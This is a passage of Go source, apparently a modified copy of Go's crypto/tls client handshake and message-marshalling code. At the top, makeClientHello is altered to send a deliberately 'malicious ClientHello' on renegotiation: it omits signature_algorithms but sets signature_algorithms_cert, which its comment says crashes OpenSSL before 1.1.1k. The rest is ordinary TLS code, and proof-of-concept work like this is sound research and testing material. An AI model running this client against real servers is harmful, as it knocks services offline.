if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
return hello, nil
}
func (c *Conn) clientHandshake() (err error) {
if c.config == nil {
c.config = defaultConfig()
}
// This may be a renegotiation handshake, in which case some fields
// need to be reset.
c.didResume = false
hello, err := c.makeClientHello()
if err != nil {
return err
}
cacheKey, session := c.loadSession(hello)
if cacheKey != "" && session != nil {
defer func() {
// If we got a handshake failure when resuming a session, throw away
// the session ticket. See RFC 5077, Section 3.2.
//
// RFC 8446 makes no mention of dropping tickets on failure, but it
// does require servers to abort on invalid binders, so we need to
// delete tickets to recover from a corrupted PSK.
if err != nil {
c.config.ClientSessionCache.Put(cacheKey, nil)
}
}()
}
if _, err := c.writeRecord(recordTypeHandshake, hello.marshal()); err != nil {
return err
}
msg, err := c.readHandshake()
if err != nil {
return err
}
serverHello, ok := msg.(*serverHelloMsg)
if !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(serverHello, msg)
}
if err := c.pickTLSVersion(serverHello); err != nil {
return err
}
hs := &clientHandshakeState{
c: c,
serverHello: serverHello,
hello: hello,
session: session,
}
if err := hs.handshake(); err != nil {
return err
}
// If we had a successful handshake and hs.session is different from
// the one already cached - cache a new one.
if cacheKey != "" && hs.session != nil && session != hs.session {
c.config.ClientSessionCache.Put(cacheKey, hs.session)
}
return nil
}
func (c *Conn) loadSession(hello *clientHelloMsg) (cacheKey string, session *ClientSessionState) {
if c.config.SessionTicketsDisabled || c.config.ClientSessionCache == nil {
return "", nil
}
hello.ticketSupported = true
// Session resumption is not allowed if renegotiating because
// renegotiation is primarily used to allow a client to send a client
// certificate, which would be skipped if session resumption occurred.
if c.handshakes != 0 {
return "", nil
}
// Try to resume a previously negotiated TLS session, if available.
cacheKey = clientSessionCacheKey(c.conn.RemoteAddr(), c.config)
session, ok := c.config.ClientSessionCache.Get(cacheKey)
if !ok || session == nil {
return cacheKey, nil
}
// Check that version used for the previous session is still valid.
versOk := false
for _, v := range hello.supportedVersions {
if v == session.vers {
versOk = true
break
}
}
if !versOk {
return cacheKey, nil
}
// Check that the cached server certificate is not expired, and that it's
// valid for the ServerName. This should be ensured by the cache key, but
// protect the application from a faulty ClientSessionCache implementation.
if !c.config.InsecureSkipVerify {
if len(session.verifiedChains) == 0 {
// The original connection had InsecureSkipVerify, while this doesn't.
return cacheKey, nil
}
serverCert := session.serverCertificates[0]
if c.config.time().After(serverCert.NotAfter) {
// Expired certificate, delete the entry.
c.config.ClientSessionCache.Put(cacheKey, nil)
return cacheKey, nil
}
if err := serverCert.VerifyHostname(c.config.ServerName); err != nil {
return cacheKey, nil
}
}
// In TLS 1.2 the cipher suite must match the resumed session. Ensure we
// are still offering it.
if mutualCipherSuite(hello.cipherSuites, session.cipherSuite) == nil {
return cacheKey, nil
}
hello.sessionTicket = session.sessionTicket
return
}
func (c *Conn) pickTLSVersion(serverHello *serverHelloMsg) error {
peerVersion := serverHello.vers
if serverHello.supportedVersion != 0 {
peerVersion = serverHello.supportedVersion
}
vers, ok := c.config.mutualVersion([]uint16{peerVersion})
if !ok {
c.sendAlert(alertProtocolVersion)
return fmt.Errorf("tls: server selected unsupported protocol version %x", peerVersion)
}
c.vers = vers
c.haveVers = true
c.in.version = vers
c.out.version = vers
return nil
}
// Does the handshake, either a full one or resumes old session. Requires hs.c,
// hs.hello, hs.serverHello, and, optionally, hs.session to be set.
func (hs *clientHandshakeState) handshake() error {
c := hs.c
isResume, err := hs.processServerHello()
if err != nil {
return err
}
hs.finishedHash = newFinishedHash(c.vers, hs.suite)
// No signatures of the handshake are needed in a resumption.
// Otherwise, in a full handshake, if we don't have any certificates
// configured then we will never send a CertificateVerify message and
// thus no signatures are needed in that case either.
if isResume || (len(c.config.Certificates) == 0 && c.config.GetClientCertificate == nil) {
hs.finishedHash.discardHandshakeBuffer()
}
hs.finishedHash.Write(hs.hello.marshal())
hs.finishedHash.Write(hs.serverHello.marshal())
c.buffering = true
if isResume {
if err := hs.establishKeys(); err != nil {
return err
}
if err := hs.readSessionTicket(); err != nil {
return err
}
if err := hs.readFinished(c.serverFinished[:]); err != nil {
return err
}
c.clientFinishedIsFirst = false
if err := hs.sendFinished(c.clientFinished[:]); err != nil {
return err
}
if _, err := c.flush(); err != nil {
return err
}
} else {
if err := hs.doFullHandshake(); err != nil {
return err
}
if err := hs.establishKeys(); err != nil {
return err
}
if err := hs.sendFinished(c.clientFinished[:]); err != nil {
return err
}
if _, err := c.flush(); err != nil {
return err
}
c.clientFinishedIsFirst = true
if err := hs.readSessionTicket(); err != nil {
return err
}
if err := hs.readFinished(c.serverFinished[:]); err != nil {
return err
}
}
c.ekm = ekmFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random)
c.didResume = isResume
atomic.StoreUint32(&c.handshakeStatus, 1)
return nil
}
func (hs *clientHandshakeState) pickCipherSuite() error {
if hs.suite = mutualCipherSuite(hs.hello.cipherSuites, hs.serverHello.cipherSuite); hs.suite == nil {
hs.c.sendAlert(alertHandshakeFailure)
return errors.New("tls: server chose an unconfigured cipher suite")
}
hs.c.cipherSuite = hs.suite.id
return nil
}
func (hs *clientHandshakeState) doFullHandshake() error {
c := hs.c
msg, err := c.readHandshake()
if err != nil {
return err
}
certMsg, ok := msg.(*certificateMsg)
if !ok || len(certMsg.certificates) == 0 {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(certMsg, msg)
}
hs.finishedHash.Write(certMsg.marshal())
if c.handshakes == 0 {
// If this is the first handshake on a connection, process and
// (optionally) verify the server's certificates.
if err := c.verifyServerCertificate(certMsg.certificates); err != nil {
return err
}
} else {
// This is a renegotiation handshake. We require that the
// server's identity (i.e. leaf certificate) is unchanged and
// thus any previous trust decision is still valid.
//
// See https://mitls.org/pages/attacks/3SHAKE for the
// motivation behind this requirement.
if !bytes.Equal(c.peerCertificates[0].Raw, certMsg.certificates[0]) {
c.sendAlert(alertBadCertificate)
return errors.New("tls: server's identity changed during renegotiation")
}
}
msg, err = c.readHandshake()
if err != nil {
return err
}
cs, ok := msg.(*certificateStatusMsg)
if ok {
// RFC4366 on Certificate Status Request:
// The server MAY return a "certificate_status" message.
if !hs.serverHello.ocspStapling {
// If a server returns a "CertificateStatus" message, then the
// server MUST have included an extension of type "status_request"
// with empty "extension_data" in the extended server hello.
c.sendAlert(alertUnexpectedMessage)
return errors.New("tls: received unexpected CertificateStatus message")
}
hs.finishedHash.Write(cs.marshal())
c.ocspResponse = cs.response
msg, err = c.readHandshake()
if err != nil {
return err
}
}
keyAgreement := hs.suite.ka(c.vers)
skx, ok := msg.(*serverKeyExchangeMsg)
if ok {
hs.finishedHash.Write(skx.marshal())
err = keyAgreement.processServerKeyExchange(c.config, hs.hello, hs.serverHello, c.peerCertificates[0], skx)
if err != nil {
c.sendAlert(alertUnexpectedMessage)
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
var chainToSend *Certificate
var certRequested bool
certReq, ok := msg.(*certificateRequestMsg)
if ok {
certRequested = true
hs.finishedHash.Write(certReq.marshal())
cri := certificateRequestInfoFromMsg(c.vers, certReq)
if chainToSend, err = c.getClientCertificate(cri); err != nil {
c.sendAlert(alertInternalError)
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
shd, ok := msg.(*serverHelloDoneMsg)
if !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(shd, msg)
}
hs.finishedHash.Write(shd.marshal())
// If the server requested a certificate then we have to send a
// Certificate message, even if it's empty because we don't have a
// certificate to send.
if certRequested {
certMsg = new(certificateMsg)
certMsg.certificates = chainToSend.Certificate
hs.finishedHash.Write(certMsg.marshal())
if _, err := c.writeRecord(recordTypeHandshake, certMsg.marshal()); err != nil {
return err
}
}
preMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hs.hello, c.peerCertificates[0])
if err != nil {
c.sendAlert(alertInternalError)
return err
}
if ckx != nil {
hs.finishedHash.Write(ckx.marshal())
if _, err := c.writeRecord(recordTypeHandshake, ckx.marshal()); err != nil {
return err
}
}
if chainToSend != nil && len(chainToSend.Certificate) > 0 {
certVerify := &certificateVerifyMsg{}
key, ok := chainToSend.PrivateKey.(crypto.Signer)
if !ok {
c.sendAlert(alertInternalError)
return fmt.Errorf("tls: client certificate private key of type %T does not implement crypto.Signer", chainToSend.PrivateKey)
}
var sigType uint8
var sigHash crypto.Hash
if c.vers >= VersionTLS12 {
signatureAlgorithm, err := selectSignatureScheme(c.vers, chainToSend, certReq.supportedSignatureAlgorithms)
if err != nil {
c.sendAlert(alertIllegalParameter)
return err
}
sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm)
if err != nil {
return c.sendAlert(alertInternalError)
}
certVerify.hasSignatureAlgorithm = true
certVerify.signatureAlgorithm = signatureAlgorithm
} else {
sigType, sigHash, err = legacyTypeAndHashFromPublicKey(key.Public())
if err != nil {
c.sendAlert(alertIllegalParameter)
return err
}
}
signed := hs.finishedHash.hashForClientCertificate(sigType, sigHash)
signOpts := crypto.SignerOpts(sigHash)
if sigType == signatureRSAPSS {
signOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash}
}
certVerify.signature, err = key.Sign(c.config.rand(), signed, signOpts)
if err != nil {
c.sendAlert(alertInternalError)
return err
}
hs.finishedHash.Write(certVerify.marshal())
if _, err := c.writeRecord(recordTypeHandshake, certVerify.marshal()); err != nil {
return err
}
}
hs.masterSecret = masterFromPreMasterSecret(c.vers, hs.suite, preMasterSecret, hs.hello.random, hs.serverHello.random)
if err := c.config.writeKeyLog(keyLogLabelTLS12, hs.hello.random, hs.masterSecret); err != nil {
c.sendAlert(alertInternalError)
return errors.New("tls: failed to write to key log: " + err.Error())
}
hs.finishedHash.discardHandshakeBuffer()
return nil
}
func (hs *clientHandshakeState) establishKeys() error {
c := hs.c
clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=
keysFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen)
var clientCipher, serverCipher interface{}
var clientHash, serverHash macFunction
if hs.suite.cipher != nil {
clientCipher = hs.suite.cipher(clientKey, clientIV, false /* not for reading */)
clientHash = hs.suite.mac(c.vers, clientMAC)
serverCipher = hs.suite.cipher(serverKey, serverIV, true /* for reading */)
serverHash = hs.suite.mac(c.vers, serverMAC)
} else {
clientCipher = hs.suite.aead(clientKey, clientIV)
serverCipher = hs.suite.aead(serverKey, serverIV)
}
c.in.prepareCipherSpec(c.vers, serverCipher, serverHash)
c.out.prepareCipherSpec(c.vers, clientCipher, clientHash)
return nil
}
func (hs *clientHandshakeState) serverResumedSession() bool {
// If the server responded with the same sessionId then it means the
// sessionTicket is being used to resume a TLS session.
return hs.session != nil && hs.hello.sessionId != nil &&
bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId)
}
func (hs *clientHandshakeState) processServerHello() (bool, error) {
c := hs.c
if err := hs.pickCipherSuite(); err != nil {
return false, err
}
if hs.serverHello.compressionMethod != compressionNone {
c.sendAlert(alertUnexpectedMessage)
return false, errors.New("tls: server selected unsupported compression format")
}
if c.handshakes == 0 && hs.serverHello.secureRenegotiationSupported {
c.secureRenegotiation = true
if len(hs.serverHello.secureRenegotiation) != 0 {
c.sendAlert(alertHandshakeFailure)
return false, errors.New("tls: initial handshake had non-empty renegotiation extension")
}
}
if c.handshakes > 0 && c.secureRenegotiation {
var expectedSecureRenegotiation [24]byte
copy(expectedSecureRenegotiation[:], c.clientFinished[:])
copy(expectedSecureRenegotiation[12:], c.serverFinished[:])
if !bytes.Equal(hs.serverHello.secureRenegotiation, expectedSecureRenegotiation[:]) {
c.sendAlert(alertHandshakeFailure)
return false, errors.New("tls: incorrect renegotiation extension contents")
}
}
clientDidALPN := len(hs.hello.alpnProtocols) > 0
serverHasALPN := len(hs.serverHello.alpnProtocol) > 0
if !clientDidALPN && serverHasALPN {
c.sendAlert(alertHandshakeFailure)
return false, errors.New("tls: server advertised unrequested ALPN extension")
}
if serverHasALPN {
c.clientProtocol = hs.serverHello.alpnProtocol
c.clientProtocolFallback = false
}
c.scts = hs.serverHello.scts
if !hs.serverResumedSession() {
return false, nil
}
if hs.session.vers != c.vers {
c.sendAlert(alertHandshakeFailure)
return false, errors.New("tls: server resumed a session with a different version")
}
if hs.session.cipherSuite != hs.suite.id {
c.sendAlert(alertHandshakeFailure)
return false, errors.New("tls: server resumed a session with a different cipher suite")
}
// Restore masterSecret and peerCerts from previous state
hs.masterSecret = hs.session.masterSecret
c.peerCertificates = hs.session.serverCertificates
c.verifiedChains = hs.session.verifiedChains
return true, nil
}
func (hs *clientHandshakeState) readFinished(out []byte) error {
c := hs.c
if err := c.readChangeCipherSpec(); err != nil {
return err
}
msg, err := c.readHandshake()
if err != nil {
return err
}
serverFinished, ok := msg.(*finishedMsg)
if !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(serverFinished, msg)
}
verify := hs.finishedHash.serverSum(hs.masterSecret)
if len(verify) != len(serverFinished.verifyData) ||
subtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 {
c.sendAlert(alertHandshakeFailure)
return errors.New("tls: server's Finished message was incorrect")
}
hs.finishedHash.Write(serverFinished.marshal())
copy(out, verify)
return nil
}
func (hs *clientHandshakeState) readSessionTicket() error {
if !hs.serverHello.ticketSupported {
return nil
}
c := hs.c
msg, err := c.readHandshake()
if err != nil {
return err
}
sessionTicketMsg, ok := msg.(*newSessionTicketMsg)
if !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(sessionTicketMsg, msg)
}
hs.finishedHash.Write(sessionTicketMsg.marshal())
hs.session = &ClientSessionState{
sessionTicket: sessionTicketMsg.ticket,
vers: c.vers,
cipherSuite: hs.suite.id,
masterSecret: hs.masterSecret,
serverCertificates: c.peerCertificates,
verifiedChains: c.verifiedChains,
receivedAt: c.config.time(),
}
return nil
}
func (hs *clientHandshakeState) sendFinished(out []byte) error {
c := hs.c
if _, err := c.writeRecord(recordTypeChangeCipherSpec, []byte{1}); err != nil {
return err
}
finished := new(finishedMsg)
finished.verifyData = hs.finishedHash.clientSum(hs.masterSecret)
hs.finishedHash.Write(finished.marshal())
if _, err := c.writeRecord(recordTypeHandshake, finished.marshal()); err != nil {
return err
}
copy(out, finished.verifyData)
return nil
}
// verifyServerCertificate parses and verifies the provided chain, setting
// c.verifiedChains and c.peerCertificates or sending the appropriate alert.
func (c *Conn) verifyServerCertificate(certificates [][]byte) error {
certs := make([]*x509.Certificate, len(certificates))
for i, asn1Data := range certificates {
cert, err := x509.ParseCertificate(asn1Data)
if err != nil {
c.sendAlert(alertBadCertificate)
return errors.New("tls: failed to parse certificate from server: " + err.Error())
}
certs[i] = cert
}
if !c.config.InsecureSkipVerify {
opts := x509.VerifyOptions{
Roots: c.config.RootCAs,
CurrentTime: c.config.time(),
DNSName: c.config.ServerName,
Intermediates: x509.NewCertPool(),
}
for _, cert := range certs[1:] {
opts.Intermediates.AddCert(cert)
}
var err error
c.verifiedChains, err = certs[0].Verify(opts)
if err != nil {
c.sendAlert(alertBadCertificate)
return err
}
}
switch certs[0].PublicKey.(type) {
case *rsa.PublicKey, *ecdsa.PublicKey, ed25519.PublicKey:
break
default:
c.sendAlert(alertUnsupportedCertificate)
return fmt.Errorf("tls: server's certificate contains an unsupported type of public key: %T", certs[0].PublicKey)
}
c.peerCertificates = certs
return nil
}
// tls11SignatureSchemes contains the signature schemes that we synthesise for
// a TLS <= 1.1 connection, based on the supported certificate types.
var (
tls11SignatureSchemes = []SignatureScheme{ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512, PKCS1WithSHA1}
tls11SignatureSchemesECDSA = tls11SignatureSchemes[:3]
tls11SignatureSchemesRSA = tls11SignatureSchemes[3:]
)
// certificateRequestInfoFromMsg generates a CertificateRequestInfo from a TLS
// <= 1.2 CertificateRequest, making an effort to fill in missing information.
func certificateRequestInfoFromMsg(vers uint16, certReq *certificateRequestMsg) *CertificateRequestInfo {
cri := &CertificateRequestInfo{
AcceptableCAs: certReq.certificateAuthorities,
Version: vers,
}
var rsaAvail, ecAvail bool
for _, certType := range certReq.certificateTypes {
switch certType {
case certTypeRSASign:
rsaAvail = true
case certTypeECDSASign:
ecAvail = true
}
}
if !certReq.hasSignatureAlgorithm {
// Prior to TLS 1.2, the signature schemes were not
// included in the certificate request message. In this
// case we use a plausible list based on the acceptable
// certificate types.
switch {
case rsaAvail && ecAvail:
cri.SignatureSchemes = tls11SignatureSchemes
case rsaAvail:
cri.SignatureSchemes = tls11SignatureSchemesRSA
case ecAvail:
cri.SignatureSchemes = tls11SignatureSchemesECDSA
}
return cri
}
// Filter the signature schemes based on the certificate types.
// See RFC 5246, Section 7.4.4 (where it calls this "somewhat complicated").
cri.SignatureSchemes = make([]SignatureScheme, 0, len(certReq.supportedSignatureAlgorithms))
for _, sigScheme := range certReq.supportedSignatureAlgorithms {
sigType, _, err := typeAndHashFromSignatureScheme(sigScheme)
if err != nil {
continue
}
switch sigType {
case signatureECDSA, signatureEd25519:
if ecAvail {
cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme)
}
case signatureRSAPSS, signaturePKCS1v15:
if rsaAvail {
cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme)
}
}
}
return cri
}
func (c *Conn) getClientCertificate(cri *CertificateRequestInfo) (*Certificate, error) {
if c.config.GetClientCertificate != nil {
return c.config.GetClientCertificate(cri)
}
for _, chain := range c.config.Certificates {
if err := cri.SupportsCertificate(&chain); err != nil {
continue
}
return &chain, nil
}
// No acceptable certificate found. Don't send a certificate.
return new(Certificate), nil
}
// clientSessionCacheKey returns a key used to cache sessionTickets that could
// be used to resume previously negotiated TLS sessions with a server.
func clientSessionCacheKey(serverAddr net.Addr, config *Config) string {
if len(config.ServerName) > 0 {
return config.ServerName
}
return serverAddr.String()
}
// hostnameInSNI converts name into an appropriate hostname for SNI.
// Literal IP addresses and absolute FQDNs are not permitted as SNI values.
// See RFC 6066, Section 3.
func hostnameInSNI(name string) string {
host := name
if len(host) > 0 && host[0] == '[' && host[len(host)-1] == ']' {
host = host[1 : len(host)-1]
}
if i := strings.LastIndex(host, "%"); i > 0 {
host = host[:i]
}
if net.ParseIP(host) != nil {
return ""
}
for len(name) > 0 && name[len(name)-1] == '.' {
name = name[:len(name)-1]
}
return name
}
================================================
FILE: tls/handshake_messages.go
================================================
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import (
"fmt"
"strings"
"golang.org/x/crypto/cryptobyte"
)
// The marshalingFunction type is an adapter to allow the use of ordinary
// functions as cryptobyte.MarshalingValue.
type marshalingFunction func(b *cryptobyte.Builder) error
func (f marshalingFunction) Marshal(b *cryptobyte.Builder) error {
return f(b)
}
// addBytesWithLength appends a sequence of bytes to the cryptobyte.Builder. If
// the length of the sequence is not the value specified, it produces an error.
func addBytesWithLength(b *cryptobyte.Builder, v []byte, n int) {
b.AddValue(marshalingFunction(func(b *cryptobyte.Builder) error {
if len(v) != n {
return fmt.Errorf("invalid value length: expected %d, got %d", n, len(v))
}
b.AddBytes(v)
return nil
}))
}
// readUint8LengthPrefixed acts like s.ReadUint8LengthPrefixed, but targets a
// []byte instead of a cryptobyte.String.
func readUint8LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
return s.ReadUint8LengthPrefixed((*cryptobyte.String)(out))
}
// readUint16LengthPrefixed acts like s.ReadUint16LengthPrefixed, but targets a
// []byte instead of a cryptobyte.String.
func readUint16LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
return s.ReadUint16LengthPrefixed((*cryptobyte.String)(out))
}
// readUint24LengthPrefixed acts like s.ReadUint24LengthPrefixed, but targets a
// []byte instead of a cryptobyte.String.
func readUint24LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
return s.ReadUint24LengthPrefixed((*cryptobyte.String)(out))
}
type clientHelloMsg struct {
raw []byte
vers uint16
random []byte
sessionId []byte
cipherSuites []uint16
compressionMethods []uint8
serverName string
ocspStapling bool
supportedCurves []CurveID
supportedPoints []uint8
ticketSupported bool
sessionTicket []uint8
supportedSignatureAlgorithms []SignatureScheme
supportedSignatureAlgorithmsCert []SignatureScheme
secureRenegotiationSupported bool
secureRenegotiation []byte
alpnProtocols []string
scts bool
supportedVersions []uint16
cookie []byte
keyShares []keyShare
earlyData bool
pskModes []uint8
pskBinders [][]byte
}
func (m *clientHelloMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeClientHello)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(m.vers)
addBytesWithLength(b, m.random, 32)
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.sessionId)
})
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, suite := range m.cipherSuites {
b.AddUint16(suite)
}
})
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.compressionMethods)
})
// If extensions aren't present, omit them.
var extensionsPresent bool
bWithoutExtensions := *b
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if len(m.serverName) > 0 {
// RFC 6066, Section 3
b.AddUint16(extensionServerName)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8(0) // name_type = host_name
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes([]byte(m.serverName))
})
})
})
}
if m.ocspStapling {
// RFC 4366, Section 3.6
b.AddUint16(extensionStatusRequest)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8(1) // status_type = ocsp
b.AddUint16(0) // empty responder_id_list
b.AddUint16(0) // empty request_extensions
})
}
if len(m.supportedCurves) > 0 {
// RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7
b.AddUint16(extensionSupportedCurves)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, curve := range m.supportedCurves {
b.AddUint16(uint16(curve))
}
})
})
}
if len(m.supportedPoints) > 0 {
// RFC 4492, Section 5.1.2
b.AddUint16(extensionSupportedPoints)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.supportedPoints)
})
})
}
if m.ticketSupported {
// RFC 5077, Section 3.2
b.AddUint16(extensionSessionTicket)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.sessionTicket)
})
}
if len(m.supportedSignatureAlgorithms) > 0 {
// RFC 5246, Section 7.4.1.4.1
b.AddUint16(extensionSignatureAlgorithms)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sigAlgo := range m.supportedSignatureAlgorithms {
b.AddUint16(uint16(sigAlgo))
}
})
})
}
if len(m.supportedSignatureAlgorithmsCert) > 0 {
// RFC 8446, Section 4.2.3
b.AddUint16(extensionSignatureAlgorithmsCert)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sigAlgo := range m.supportedSignatureAlgorithmsCert {
b.AddUint16(uint16(sigAlgo))
}
})
})
}
if m.secureRenegotiationSupported {
// RFC 5746, Section 3.2
b.AddUint16(extensionRenegotiationInfo)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.secureRenegotiation)
})
})
}
if len(m.alpnProtocols) > 0 {
// RFC 7301, Section 3.1
b.AddUint16(extensionALPN)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, proto := range m.alpnProtocols {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes([]byte(proto))
})
}
})
})
}
if m.scts {
// RFC 6962, Section 3.3.1
b.AddUint16(extensionSCT)
b.AddUint16(0) // empty extension_data
}
if len(m.supportedVersions) > 0 {
// RFC 8446, Section 4.2.1
b.AddUint16(extensionSupportedVersions)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
for _, vers := range m.supportedVersions {
b.AddUint16(vers)
}
})
})
}
if len(m.cookie) > 0 {
// RFC 8446, Section 4.2.2
b.AddUint16(extensionCookie)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.cookie)
})
})
}
if len(m.keyShares) > 0 {
// RFC 8446, Section 4.2.8
b.AddUint16(extensionKeyShare)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, ks := range m.keyShares {
b.AddUint16(uint16(ks.group))
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(ks.data)
})
}
})
})
}
if m.earlyData {
// RFC 8446, Section 4.2.10
b.AddUint16(extensionEarlyData)
b.AddUint16(0) // empty extension_data
}
if len(m.pskModes) > 0 {
// RFC 8446, Section 4.2.9
b.AddUint16(extensionPSKModes)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.pskModes)
})
})
}
extensionsPresent = len(b.BytesOrPanic()) > 2
})
if !extensionsPresent {
*b = bWithoutExtensions
}
})
m.raw = b.BytesOrPanic()
return m.raw
}
// marshalWithoutBinders returns the ClientHello through the
// PreSharedKeyExtension.identities field, according to RFC 8446, Section
// 4.2.11.2. Note that m.pskBinders must be set to slices of the correct length.
func (m *clientHelloMsg) marshalWithoutBinders() []byte {
bindersLen := 2 // uint16 length prefix
for _, binder := range m.pskBinders {
bindersLen += 1 // uint8 length prefix
bindersLen += len(binder)
}
fullMessage := m.marshal()
return fullMessage[:len(fullMessage)-bindersLen]
}
// updateBinders updates the m.pskBinders field, if necessary updating the
// cached marshaled representation. The supplied binders must have the same
// length as the current m.pskBinders.
func (m *clientHelloMsg) updateBinders(pskBinders [][]byte) {
if len(pskBinders) != len(m.pskBinders) {
panic("tls: internal error: pskBinders length mismatch")
}
for i := range m.pskBinders {
if len(pskBinders[i]) != len(m.pskBinders[i]) {
panic("tls: internal error: pskBinders length mismatch")
}
}
m.pskBinders = pskBinders
if m.raw != nil {
lenWithoutBinders := len(m.marshalWithoutBinders())
// TODO(filippo): replace with NewFixedBuilder once CL 148882 is imported.
b := cryptobyte.NewBuilder(m.raw[:lenWithoutBinders])
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, binder := range m.pskBinders {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(binder)
})
}
})
if len(b.BytesOrPanic()) != len(m.raw) {
panic("tls: internal error: failed to update binders")
}
}
}
func (m *clientHelloMsg) unmarshal(data []byte) bool {
*m = clientHelloMsg{raw: data}
s := cryptobyte.String(data)
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) ||
!readUint8LengthPrefixed(&s, &m.sessionId) {
return false
}
var cipherSuites cryptobyte.String
if !s.ReadUint16LengthPrefixed(&cipherSuites) {
return false
}
m.cipherSuites = []uint16{}
m.secureRenegotiationSupported = false
for !cipherSuites.Empty() {
var suite uint16
if !cipherSuites.ReadUint16(&suite) {
return false
}
if suite == scsvRenegotiation {
m.secureRenegotiationSupported = true
}
m.cipherSuites = append(m.cipherSuites, suite)
}
if !readUint8LengthPrefixed(&s, &m.compressionMethods) {
return false
}
if s.Empty() {
// ClientHello is optionally followed by extension data
return true
}
var extensions cryptobyte.String
if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {
return false
}
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
switch extension {
case extensionServerName:
// RFC 6066, Section 3
var nameList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&nameList) || nameList.Empty() {
return false
}
for !nameList.Empty() {
var nameType uint8
var serverName cryptobyte.String
if !nameList.ReadUint8(&nameType) ||
!nameList.ReadUint16LengthPrefixed(&serverName) ||
serverName.Empty() {
return false
}
if nameType != 0 {
continue
}
if len(m.serverName) != 0 {
// Multiple names of the same name_type are prohibited.
return false
}
m.serverName = string(serverName)
// An SNI value may not include a trailing dot.
if strings.HasSuffix(m.serverName, ".") {
return false
}
}
case extensionStatusRequest:
// RFC 4366, Section 3.6
var statusType uint8
var ignored cryptobyte.String
if !extData.ReadUint8(&statusType) ||
!extData.ReadUint16LengthPrefixed(&ignored) ||
!extData.ReadUint16LengthPrefixed(&ignored) {
return false
}
m.ocspStapling = statusType == statusTypeOCSP
case extensionSupportedCurves:
